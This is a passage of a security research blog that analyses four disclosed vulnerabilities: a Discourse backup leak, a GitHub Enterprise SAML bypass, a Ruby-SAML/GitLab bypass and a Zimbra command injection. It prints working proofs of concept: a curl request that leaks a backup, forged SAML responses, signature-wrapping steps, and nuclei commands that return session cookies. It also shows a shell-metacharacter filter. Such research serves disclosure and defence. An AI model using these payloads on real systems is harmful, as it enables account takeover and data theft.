While the Nginx configuration prevents direct access to backups, Discourse’s use of Rails’ send_file method for file-serving combined with predictable backup file naming conventions can still allow attackers to leak backup files. The second requirement for exploitation is the ability to bruteforce backup file names efficiently. Based on Discourse’s default behavior and naming patterns, backup file names can be derived using the following logic:

<site-name>-YYYY-MM-DD-HHMMSS-v<Migration_Stamp>.tar.gz

  • **Site Name: **This can be obtained from the website’s title, call Rail’s parameterize method on the string.
  • Date of Backup (YYYY-MM-DD**): **Discourse by default creates backups every 7 days.
  • Time of Backup (HHMMSS**): **Time is in a 24-hour format with a specific timestamp (e.g., 002005). This can also be bruteforced with approximately 86,400 combinations (total requests for a day).
  • Migration Stamp (v**)**: The migration stamp corresponds to the Git commit version and associated migration timestamp in the /db/migrate/ directory. Discourse publicly discloses the current Git commit hash on its homepage, which can be used to derive this value of the targeted discourse instance.

Proof of Concept:

curl -k -o db.tar.gz -H ‘X-Sendfile-Type: X-Accel-Redirect’ -H ‘X-Accel-Mapping: .*=/downloads/backups/default/projectdiscovery-discourse-2024-11-15-002501-v20241112145744.tar.gz’ -H ‘Cache-Control: max-age=0’ ‘https://discourse.projectdiscovery.io/stylesheets/discourse-local-dates_2395204b3c92cea17bdcc4e554cc7d12e032b555.css?cb=1’

Nuclei Template

The Nuclei template used to detect this vulnerability is available on GitHub and the ProjectDiscovery Platform.

Platform URL: https://cloud.projectdiscovery.io/?template=CVE-2024-53991 GitHub PR: https://github.com/projectdiscovery/nuclei-templates/pull/11773

id: CVE-2024-53991

info:
  name: Discourse Backup File Disclosure Via Default Nginx Configuration
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.
  remediation: |
    This issue is patched in the latest stable, beta and tests-passed versions of Discourse. Users are advised to upgrade. Users unable to upgrade can either 1. Download all local backups on to another storage device, disable the `enable_backups` site setting and delete all backups until the site has been upgraded to pull in the fix. Or  2. Change the `backup_location` site setting to `s3` so that backups are stored and downloaded directly from S3.
  reference:
    - https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk/
    - https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-53991
    cwe-id: CWE-200
    epss-score: 0.00121
    epss-percentile: 0.28736
  metadata:
    shodan-query: http.component:"Discourse"
  tags: cve,cve2024,discourse,disclosure

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: 

    extractors:
      - type: regex
        part: body
        name: styles
        group: 1
        regex:
          - 'href="(/stylesheets/discourse-.*?)"'
        internal: true

  - raw:
      - |
        GET &cachebuster= HTTP/1.1
        Host: 
        X-Sendfile-Type: X-Accel-Redirect
        X-Accel-Mapping: .*=/downloads/backups/default/

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 403'
          - 'contains(content_type, "text/html")'
          - 'contains(response, "discourse")'
        condition: and

Disclosure Timeline

Date Event
17th November 2024 ProjectDiscovery discovers the misconfiguration and responsibly reported it to the Discourse team.
25th November 2024 Discourse team triaged the report and acknowledged the issue.
19th December 2024 The vulnerability was marked as resolved by the Discourse team.
20th March 2025 After the standard 90-day disclosure period, the blog post with vulnerability details was publicly disclosed.

Conclusion

This case study highlights how seemingly robust security mechanisms can introduce unintended vulnerabilities when their interactions are not fully understood. The combination of Rack’s send_file method and Nginx’s internal directive serves as a reminder that security is not just about enabling protective measures but ensuring they are configured correctly to prevent unintended access.

To help security teams identify and mitigate this issue in their Discourse deployment, we have created a Nuclei template that automates the detection of misconfigurations leading to file exposure. This template is also integrated into the ProjectDiscovery Cloud platform, enabling our customers to proactively scan for this vulnerability as part of their continuous security assessments.

]]>
<![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]>
GitHub Enterprise SAML Authentication Bypass (CVE-2024-4985 / CVE-2024-9487)2024-11-12T00:00:00+00:002024-11-12T00:00:00+00:00https://httpvoid.com/GitHub-Enterprise-SAML-Authentication-Bypass<![CDATA[

Note - This is cross post from our work at Projectdiscovery Blog

Introduction

In light of the recent Ruby-SAML bypass discovered in GitLab, we set out to examine the SAML implementation within GitHub Enterprise. During our research, we identified a significant vulnerability that enabled bypassing GitHub’s SAML authentication when encrypted assertions were in use.

This blog post will provide an in-depth look at GitHub Enterprise’s SAML implementation and analyze the specific code issue that permitted this bypass. Although we uncovered this vulnerability independently, it was reported to GitHub just two days prior to our findings. GitHub has since released a patch to address the flaw, though initial fixes required additional updates to be fully effective. This issue is now cataloged under CVE-2024-9487 and CVE-2024-4985.

HIGH: An attacker could bypass SAML single sign-on (SSO) authentication with the optional encrypted assertions feature, allowing unauthorized provisioning of users and access to the instance, by exploiting an improper verification of cryptographic signatures vulnerability in GitHub Enterprise Server. This is a follow up fix for CVE-2024-9487 to further harden the encrypted assertions feature against this type of attack.

Technical Analysis

Let’s see how GitHub handles document extraction, signature validation, and the security measures in place. We’ll spin up a GitHub instance and set up the SAML configuration. In this process, the SAML callback validates the CSRF token (RelayState), which is unique to each state and SAML response. This makes it difficult to test and debug.

To bypass this challenge, we’ll use the Ruby code responsible for SAML handling locally. The SAML implementation resides in ./lib/saml/ (and in ./lib/saml.rb). We’ll patch this library to work in our local environment by:

  • Removing GitHub-specific constants and references without affecting the validation logic.
  • Disabling validate_conditions to bypass time-based verification checks.
  • Using require_relative within ./lib/saml.rb to load the necessary files locally.
  • Finally, requiring ./saml to link the components together.

Let’s start with this code to mimic GitHub SAML implementation locally:

require "./saml"
require "base64"
require 'openssl'

key = File.open('/tmp/github_saml.pem').read() #Github SAML SP's private key (used here to decypt stuff since we want to mimic the whole flow)

cert = <<-CERT
cert_here
CERT

@props = {  
  :sp_url => "https://[REDACTED_IP_ADDRESS]", 
  :sso_url => "https://[REDACTED_OKTA_URL]/app/[REDACTED]/sso/saml", 
  :assertion_consumer_service_url => "https://[REDACTED_OKTA_URL]/app/[REDACTED]/sso/saml", 
  :destination => "https://[REDACTED_OKTA_URL]/app/[REDACTED]/sso/saml", 
  :issuer => "http://www.okta.com/[REDACTED]", 
  :signature_method => "http://www.w3.org/2000/09/xmldsig#rsa-sha1", 
  :digest_method => "http://www.w3.org/2000/09/xmldsig#sha1",
  :idp_certificate => cert
}

key1 = OpenSSL::PKey::RSA.new(key)

@prop1 = {:encrypted_assertions => true, :encryption_method => "aes-256-cbc", :key_transport_method => "rsa-oaep", :key => key1}

saml_resp = Base64.encode64(File.open('resp.xml').read())
xml = ::SAML::Message::Response.from_param(saml_resp, @prop1) [1]
puts "Signature verified: " + String(xml.valid?(@props)) [2]
puts "NameID Email - " + xml.name_id

Let’s begin with a sample valid SAML response. Below is a simplified version of the response structure:

<samlp:Response ID="123">
    <ds:Signature>
        <ds:SignedInfo>
            <ds:Refernce URI="#123"></ds:Refernce>
        </ds:SignedInfo>
    </ds:Signature>
    <saml:EncryptedAssertion>
            enc assertion here
	</saml:EncryptedAssertion>
</samlp:Response>

When we call from_param it does this:

  • build() – This method extracts signatures before attempting decryption.
    • decrypt() – If the message is encrypted, it decrypts the content.
      • parse() – This method processes the message information, specifically extracting details from the /samlp:Response/saml:Assertion block. Returns Message.

Within Message.rb, the build method performs signature extraction if GitHub encrypted assertions are enabled at point [1]. If no signatures were extracted prior to decryption, the method attempts to extract signatures again after decryption at point [2]. But only if no signatures were extracted earlier.

def self.build(xml, options = {})
  if GitHub.enterprise? && GitHub.saml_encrypted_assertions?
    signatures = message_class.signatures(doc) # [1]
    decrypt_errors = []
    plain_doc = message_class.decrypt(doc, options, decrypt_errors)
    signatures = message_class.signatures(plain_doc) if signatures.empty? # [2]
  ...
  end
end

Next step is to decrypt the encrypted assertion and replace that node with the decrypted assertion.

The next step is to duplicate the entire SAML response document. On this duplicated document, we will replace the encrypted assertion with the decrypted version. This results in a SAML response where the encrypted assertion is removed, and the decrypted assertion takes its place in the duplicated document. However, only one signature will be extracted.

<Response ID="123">
    <Signature> // [1]
		
        <SignedInfo>
            <Refernce URI="#123"></Refernce>
        </SignedInfo>
    </Signature>
    <Assertion ID="789">
        <Signature> // [2]
			
            <SignedInfo>
                <Refernce URI="#789"></Refernce>
            </SignedInfo>
        </Signature>
    </Assertion>
</Response>

This is okay since the one signature it has is of whole response so when it validates that signature, it will pass the whole original response (with encrypted assertion) and it would work and pass signature validation as expected. We’ll discuss later how this can create potential issues, but for now, let’s continue following the logical flow. After the decryption step, it returns a Message object containing the decrypted assertions.

GitHub’s valid? function essentially aims to keep the flow error-free. If an error occurs at any point during the process, it is appended to an error variable. Once all the checks are completed, the function inspects the error variable. If it is not empty, the validation fails.

These are the main functions we want to bypass:

  • valid?
    • vaidate_schema()
    • validate()
      • validate_has_signature
        • has_root_sig_and_matching_ref?
        • OR // you need to return true in one
        • all_assertions_signed_with_matching_ref?
      • validate_assertion_digest_values
      • validate_signatures_ghes
        • signatures.all? { |signature| signature.valid?(certificate) }

Let’s examine the validate_has_signature method:

This validation checks if there is a signature outside the assertion block that matches the root (Response) ID. Meaning that the entire response is considered signed, and the function returns true.

However, if no such signature exists, the method ensures that every assertion block within the document contains its own signature. In this case, the signature’s reference must match the parent assertion’s ID. This additional check is crucial to prevent signature wrapping attacks, where an attacker could attempt to insert malicious assertions into the document by manipulating signatures.

# Validate that the SAML message (root XML element of SAML response)
# or all contained assertions are signed
#
# Verification of signatures is done in #validate_signatures
def validate_has_signature
  # Return early if entire response is signed. This prevents individual
  # assertions from being tampered because any change in the response
  # would invalidate the entire response.
  return if has_root_sig_and_matching_ref?
  return if all_assertions_signed_with_matching_ref?

  self.errors << "SAML Response is not signed or has been modified."
end

def has_root_sig_and_matching_ref?
  return true if SAML.mocked[:mock_root_sig]
  root_ref = document.at("/saml2p:Response/ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
  return false unless root_ref
  root_ref_uri = String(String(root_ref["URI"])[1..-1]) # chop off leading #
  return false unless root_ref_uri.length > 1
  root_rep = document.at("/saml2p:Response", namespaces)
  root_id = String(root_rep["ID"])

  # and finally does the root ref URI match the root ID?
  root_ref_uri == root_id
end

def all_assertions_signed_with_matching_ref?
  assertions = document.xpath("//saml2:Assertion", namespaces)
  assertions.all? do |assertion|
    ref = assertion.at("./ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
    return false unless ref
    assertion_id = String(assertion["ID"])
    ref_uri = String(String(ref["URI"])[1..-1]) # chop off leading #
    return false unless ref_uri.length > 1

    ref_uri == assertion_id
  end
end

Next, the validate_assertion_digest_values function ensures that the digest value of each assertion matches the DigestValue found in the reference node of the corresponding signature. This step verifies only digests and not the signature, that step will happen afterwards via the xmldsig library.

Finally, the validate_signatures_ghes function calls .valid? on each signature extracted during the build() process. The library used for this validation is benoist/xmldsig.

The core logic of .valid? is as follows:

  • Find the referenced node for the signature’s URI identifier anywhere in the document (the first occurrence is selected).
  • Transform and calculate the digest.
  • Verify that the calculated digest matches the DigestValue in the reference node.
  • Perform the signature verification.

The issue arises, as mentioned earlier, when a signature is found in the response before decrypting an encrypted assertion. The second signature, inside the assertion block, is not accounted for. Even though assertions are required to have a signature, and the signature reference should point to the assertion’s ID (with the digest being validated), the signature itself is never validated.

Now, if we can somehow bypass both validate_has_signature and validate_assertion_digest_values, we can reach the xmldsig validation.

Here’s how we can do that:

  1. Obtain a valid SAMLResponse from the IDP
  2. Modify the Signature node of the Response and add an empty element <ds:Object></ds:Object> just after the </ds:KeyInfo>.
  3. Copy the whole document i.e /samlp:Response and paste it inside <ds:Object>{here}</ds:Object>
  4. Modify the original /samlp:Responses ID attribute to anything different. Here we are making sure both Reference node URI are pointing to the legit Response element with valid signature (that we moved to ds:Object).
  5. Create an Assertion node with respect to the valid schema with victim’’s subject/nameid details and calculate the DigestValue of this modified assertion node and update it in its Signature > SignedInfo > Reference > DigestValue. (Remember due to the original vulnerbility the signature of this encrypted assertion is not validated so the rest of the signature node details doesn’t matter) - This bypasses validate_has_signatures.
  6. Now, encrypt this Assertion with the GHE SP’s public key.
  7. Forward this SAMLResponse and you would be logged in to the victim’s account.
<Response ID="11111111">
  <Signature>
    <SignedInfo>
      <Refernce URI="#123"></Refernce>
    </SignedInfo>
    <Object>
      <Response ID="123">
        <Signature>

          <SignedInfo>
            <Refernce URI="#123"></Refernce>
          </SignedInfo>
        </Signature>
        <Assertion ID="789">
          <Signature>

            <SignedInfo>
              <Refernce URI="#789"></Refernce>
            </SignedInfo>
          </Signature>
        </Assertion>
      </Response>
    </Object>
  </Signature>
---- THIS WILL BE ENCRYPTED ----
  <Assertion ID="789">
    <Signature>

      <SignedInfo>
        <Refernce URI="#789"></Refernce> 
      </SignedInfo>
    </Signature>
  </Assertion>
---- THIS WILL BE ENCRYPTED ----
</Response>

GitHub Enterprise SAML Authentication Bypass command

Proof of Concept (PoC)

We’ve created two Nuclei templates for detecting and exploiting CVE-2024-9487 on GitHub Enterprise:

  1. GitHub Enterprise - SAML (Encrypted) Detection

This template detects GitHub Enterprise Server using SAML authentication with encrypted assertions enabled.

Nuclei Template Link

  1. GitHub Enterprise - SAML Authentication Bypass

This template bypass GitHub SAML authentication and extract the GitHub session cookie.

Nuclei Template Link

To run the CVE-2024-9487 template, use the following command, adjusting the inputs as needed:

nuclei -t CVE-2024-9487.yaml -u https://git.projectdiscovery.io -var username='[email protected]' -var metadata_url='https://git.projectdiscovery.io/sso/saml/metadata' -var SAMLResponse=`cat saml_response.txt` -var RelayState='xyz' -code

Input Options:

-var username: Target GitHub user’s email (e.g., [email protected]).

-var metadata_url: SAML metadata URL of the IDP server.

-var SAMLResponse: Encrypted SAML response sent by the Identity Provider (IdP) after a login attempt. You can capture this value by starting a login on the target GitHub server and using browser developer tools (Network tab) or tools like Burp Suite to find SAMLResponse in the network requests. Save it in a file (e.g., saml_response.txt) to load easily.

-var RelayState: This is a unique value sent with SAMLResponse to maintain the session context. You can find the exact RelayState by observing it in your login request traffic, as shown in the video PoC.

nuclei -t CVE-2024-9487.yaml -u https://git.projectdiscovery.io -var username='[email protected]' -var metadata_url='https://idp.projectdiscovery.io/sso/saml/metadata' -var SAMLResponse=`cat saml_response.txt` -var RelayState='xyz' -code

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.4

		projectdiscovery.io

[INF] Current nuclei version: v3.3.4 (latest)
[INF] Current nuclei-templates version: v10.0.2 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 68
[INF] Templates loaded for current scan: 
[INF] Targets loaded for current scan: 1
[CVE-2024-9487] [http] [critical] https://git.projectdiscovery.io/saml/consume ["cookie-l-redacted"]

We’ve also recorded a video demonstrating the SAML authentication bypass on GitHub when encrypted assertions are enabled, showcasing the step-by-step process and impact.

Your browser does not support the video tag.

Conclusion

In this blog post, we explored the GitHub Enterprise implementation of SAML authentication and uncovered a vulnerability involving encrypted assertions. By understanding the intricacies of signature validation and how improperly handled encrypted assertions can introduce security risks, we demonstrated how an attacker could potentially bypass GitHub’s SAML authentication.

As always, staying vigilant and promptly applying security updates is critical to safeguarding on-prem environments.


By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.

]]>
<![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]>
Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409)2024-10-04T00:00:00+00:002024-10-04T00:00:00+00:00https://httpvoid.com/Ruby-SAML-GitLab-Auth-Bypass<![CDATA[

Note - This is cross post from our work at Projectdiscovery Blog

Introduction

In this blog post, we will analyze CVE-2024-45409, a critical vulnerability impacting Ruby-SAML, OmniAuth-SAML libraries, which effectively affects GitLab. This vulnerability allows an attacker to bypass SAML authentication mechanisms and gain unauthorized access by exploiting a flaw in how SAML responses are handled. The issue arises due to weaknesses in the verification of the digital signature used to protect SAML assertions, allowing attackers to manipulate the SAML response and bypass critical security checks.

SAML Message Verification

SAML is a widely used protocol for exchanging authentication and authorization data between identity providers (IdPs) and service providers (SPs). A crucial part of ensuring the security of this exchange is verifying the integrity and authenticity of the data through digital signatures and digest verification.

In this section, we will first explain how SAML signature and digest verification work, and then explore a bypass found in Ruby-SAML that can be exploited to circumvent the signature validation.

How SAML Signatures Work?

In a typical SAML response, an Assertion element holds critical security information, such as the authenticated user’s details. To ensure that this information has not been tampered with, it is digitally signed.

1. Assertion Element and Digest Calculation

The Assertion element contains security credentials, and the integrity of this element is protected by calculating a digest (a hash) of the canonicalized content of the assertion. The Signature node is removed from the Assertion before this digest is computed. This digest is then included in the SignedInfo block of the signature element.

2. Signature Element and SignedInfo Block

The Signature element includes a SignedInfo block, which contains:

  • A Reference URI pointing to the Assertion.
  • A DigestValue, representing the digest of the assertion block, which is calculated and then stored in this block.

Once the digest is included in the SignedInfo block, the entire SignedInfo is signed using the IdP’s private key, and the result is placed in the SignatureValue element.

Here’s a simplified XML example of the structure:

<Assertion ID="_abc123">
  <Signature>
    <SignedInfo>
      <Reference URI="#_abc123">
        <DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
        <DigestValue>abc123DigestValue</DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue>SignedWithPrivateKey</SignatureValue>
  </Signature>
    <!-- Assertion contents -->
</Assertion>

How digest and signature ensure integrity?

Any modification to the Assertion will alter its digest value. However, since the SignedInfo element contains the original digest value and is signed with the IdP’s private key, an attacker cannot alter the SignedInfo block without invalidating the signature. This mechanism ensures that unauthorized changes to the assertion are detected when the service provider (SP) verifies the response.

Signature Verification Process

When the service provider (SP) receives a SAML response, it performs two crucial checks:

  1. Digest Verification: The SP calculates the digest of the Assertion (after removing the Signature node) and compares it with the DigestValue present in the SignedInfo block. If the digests do not match, the assertion has been tampered with.

  2. Signature Verification: The SP uses the IdP’s public key to verify the signature on the SignedInfo block. If the signature is valid, it confirms that the IdP signed the message and that it hasn’t been modified.

Ruby-SAML Bypass

In the Ruby-SAML library, several validations occur before the actual signature validation, including schema validations and checks on the number of assertions. However, a specific vulnerability arises due to how XPath is used to extract certain elements during validation.

XPATH Refresher:

/ - This selects nodes starting from the root of the document. For example, /samlp:Response retrieves the <samlp:Response> root node. Similarly,  /samlp:Response/saml:Issuer will access <saml:Issuer> starting from root node <samlp:Response>.

./ - This selects nodes relative to the current node. For instance, if the current context is the <Signature> element, then ./SignedInfo will return the <SignedInfo> node that is a direct child of <Signature>.

// - This selects nodes from anywhere in the document, including all nested nodes. For example, //SignedInfo will select all instances of <SignedInfo>, regardless of how deeply they are nested within the document.

A patch was committed in the Ruby-SAML library (see here) that attempts to tighten security. Previously, the way elements were accessed using // in the XPath selector was too permissive.

Here’s where the issue lies: when extracting the DigestValue from the reference node, the XPath expression //ds:DigestValue is used. This means the first occurrence of a DigestValue element with the DSIG namespace will be selected from anywhere in the document.

encoded_digest_value = REXML::XPath.first(
  ref,
  "//ds:DigestValue",
  { "ds" => DSIG }
)

By exploiting this, an attacker can smuggle another DigestValue into the document inside the samlp:extensions element, which is designed to hold any element with a valid namespace.

Bypassing Signature Validation

The vulnerability allows us to bypass signature validation as follows:

  • We insert a **DigestValue **of the modified assertion inside the samlp:extensions element.
  • The XPath selector will extract this smuggled DigestValue instead of the one from the SignedInfo block.
  • Since the SignedInfo block itself is not modified, it passes the signature check, but the actual assertion content could have been tampered with.

The following example illustrates how this can be exploited in code:

hash = digest_algorithm.digest(canon_hashed_element)
encoded_digest_value = REXML::XPath.first(
  ref,
  "//ds:DigestValue",
  { "ds" => DSIG }
)
digest_value = Base64.decode64(OneLogin::RubySaml::Utils.element_text(encoded_digest_value))

unless digests_match?(hash, digest_value)
  return append_error("Digest mismatch", soft)
end

unless cert.public_key.verify(signature_algorithm.new, signature, canon_string)
  return append_error("Key validation error", soft)
end

In this case:

  • canon_hashed_element refers to the Assertion block without the Signature block.
  • encoded_digest_value is our controlled DigestValue smuggled inside samlp:extensions.
  • canon_string refers to the SignedInfo block.

Here’s an example SAML Response to perform the SAML Bypass:

<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response Destination="http://kubernetes.docker.internal:3000/saml/acs"
    ID="_afe0ff5379c42c67e0fb" InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
    IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
    xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:xs="http://www.w3.org/2001/XMLSchema">
    <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
        xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
    <samlp:Extensions>
        <DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
            legitdigestvalue
        </DigestValue>
    </samlp:Extensions>
    <samlp:Status xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
    </samlp:Status>
    <saml:Assertion ID="_911d8da24301c447b649" IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
        xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
        xmlns:xs="http://www.w3.org/2001/XMLSchema">
        <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
        <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
            <SignedInfo>
                <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
                <SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
                <Reference URI="#_911d8da24301c447b649">
                    <Transforms>
                        <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
                        <Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
                    </Transforms>
                    <DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
                    <DigestValue>U31P2Bs1niIjPrSSA5hpC0GN4EZvsWMiOrHh6TqQFqM=</DigestValue>
                </Reference>
            </SignedInfo>
            <SignatureValue>
                KUM0YSAtobgqTq1d2dkd6Lugrh5vOhAawv4M8QPkxsiHaOuGxLCyqlJy74opHHc2K5S5hz8Us12kVplsHrFBJUezAbD+ME9Qx6bHc3G8RUfjnkJgEqb8m9yQAWpDNIBOff4nUbJp9wnMmLmTyOj7at+rkFpyrydHVBTNemkRNShuH/+3aYBWSmUJkOV2dVhUjHF9nTJv/6KAA39S8Z86uNulwxN+0Cc55bGH2P+qau3YYafpEJVEG17cVLL0mkpVUTRxtBn/8vJHCPbwT7/hx2RXdxdM+V6T59kPuRRW5iyGzk2bx6qKvUCqLwWTp5xA/uw0WxlDvCiQGpzJBVz5gA==</SignatureValue>
            <KeyInfo>
                <X509Data>
                    <X509Certificate>MIIC4jCC....HpLKQQ==</X509Certificate>
                </X509Data>
            </KeyInfo>
        </Signature>
        <saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
                [email protected]</saml:NameID>
            <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <saml:SubjectConfirmationData InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
                    NotOnOrAfter="2024-10-03T13:55:44.973Z"
                    Recipient="http://kubernetes.docker.internal:3000/saml/acs" />
            </saml:SubjectConfirmation>
        </saml:Subject>
        <saml:Conditions NotBefore="2024-10-03T13:45:44.973Z"
            NotOnOrAfter="2024-10-03T13:55:44.973Z"
            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:AudienceRestriction>
                <saml:Audience>https://saml.example.com/entityid</saml:Audience>
            </saml:AudienceRestriction>
        </saml:Conditions>
        <saml:AuthnStatement AuthnInstant="2024-10-03T13:50:44.973Z"
            SessionIndex="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:AuthnContext>
                <saml:AuthnContextClassRef>
                    urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
            </saml:AuthnContext>
        </saml:AuthnStatement>
        <saml:AttributeStatement xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:Attribute Name="id"
                NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
                <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
                    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
                    1dda9fb491dc01bd24d2423ba2f22ae561f56ddf2376b29a11c80281d21201f9</saml:AttributeValue>
            </saml:Attribute>
            <saml:Attribute Name="email"
                NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
                <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
                    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
                    [email protected]</saml:AttributeValue>
            </saml:Attribute>
        </saml:AttributeStatement>
    </saml:Assertion>

</samlp:Response>

We’ve created nuclei template to ease the process of getting session cookie once you obtain the SAMLResponse of targeted user.

$ nuclei -t CVE-2024-45409.yaml -u https://gitlab.redacted.com -code  -var SAMLResponse='REDACTED'

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.4

		projectdiscovery.io

[INF] Current nuclei version: v3.3.4 (latest)
[INF] Current nuclei-templates version: v10.0.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 86
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2024-45409] [http] [critical] https://gitlab.redacted.com/users/auth/saml/callback ["c4a8f2720a97068ee44440beee8f296c"]

We’ve also recorded video poc showcasing SAML authentication bypass on GitLab

Your browser does not support the video tag.

Conclusion

The CVE-2024-45409 vulnerability demonstrates how a subtle flaw in signature verification can have severe consequences, allowing attackers to bypass critical authentication mechanisms. This analysis highlights the importance of strict validation procedures, especially when dealing with security protocols like SAML. While the vulnerability has been patched, it serves as a reminder that even widely adopted libraries can harbor vulnerabilities if not carefully implemented.

Organizations/Applications relying on Ruby-SAML/OmniAuth-SAML for authentication should ensure their libraries are up to date. By understanding the nature of such vulnerabilities, developers and security teams can strengthen their defenses against potential attacks.


By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.

]]>
<![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]>
Zimbra - Remote Command Execution (CVE-2024-45519)2024-09-27T00:00:00+00:002024-09-27T00:00:00+00:00https://httpvoid.com/Zimbra-Remote-Command-Execution<![CDATA[

Note - This is cross post from our work at Projectdiscovery Blog

Zimbra, a widely used email and collaboration platform, recently released a critical security update addressing a severe vulnerability in its postjournal service. This vulnerability, identified as CVE-2024-45519, allows unauthenticated attackers to execute arbitrary commands on affected Zimbra installations. In this blog post, we delve into the nature of this vulnerability, our journey in analyzing the patch, and the steps we took to exploit it manually. We also discuss the potential impact and emphasize the importance of timely patch application.

What’s in the Patch?

We discovered that Zimbra uses the S3 bucket s3://repo.zimbra.com to host both packages and patches. Fortunately, the bucket had a public listing, which allowed us to locate the necessary patch.

To begin our analysis, we obtained the patched version of the postjournal binary from the latest Zimbra patch package: Zimbra Patch Package

By extracting the .deb file, we retrieved the patched postjournal binary located at ./opt/zimbra/lib/patches/postjournal.

Instead of performing a binary diff, we opted for a quicker approach by reversing the binary using Ghidra. We searched for critical functions such as system and exec* and discovered a function named run_command. This function was referenced by read_maps, prompting us to examine read_maps and trace its references up to the main function.

We established the following method call hierarchy:

main
└── msg_handler(MSG *msg)
    └── expand_addrs
        └── address_lookup
            └── map_address
                └── read_addr_maps
                    └── read_maps
                        └── run_command
                            └── execvp

In the patched version, execvp is used, and user input is passed as an array, which prevents direct command injection. Additionally, we noticed the introduction of an is_safe_input function that sanitizes the input before it’s passed to execvp. We examined this function to identify any special characters that might lead to command injection.

int is_safe_input(char *input) {
    if (input == NULL || *input == '\0') {
        return 0;
    }
    for (char *c = input; *c != '\0'; c++) {
        if (*c == ';' || *c == '&' || *c == '|' || *c == '`' || *c == '$' ||
            *c == '(' || *c == ')' || *c == '<' || *c == '>' || *c == '\\' ||
            *c == '\'' || *c == '\"' || *c == '\n' || *c == '\r') {
            return 0;
        }
    }
    return 1;
}

Diffing Binaries

To understand the vulnerability in the unpatched version, we obtained the original software: Unpatched Zimbra Package

We set up this version on our test server and reversed the postjournal binary. Surprisingly, we found that there were no calls to execvp or a function named run_command. Instead, in the read_maps function, a direct call to popen was made, passing a string constructed with our input without any sanitization.

Walkthrough of the postjournal Binary

Inside the main function, when an SMTP connection is initiated, the msg_handler function is called, which in turn processes the MSG object.

Call to expand_addrs

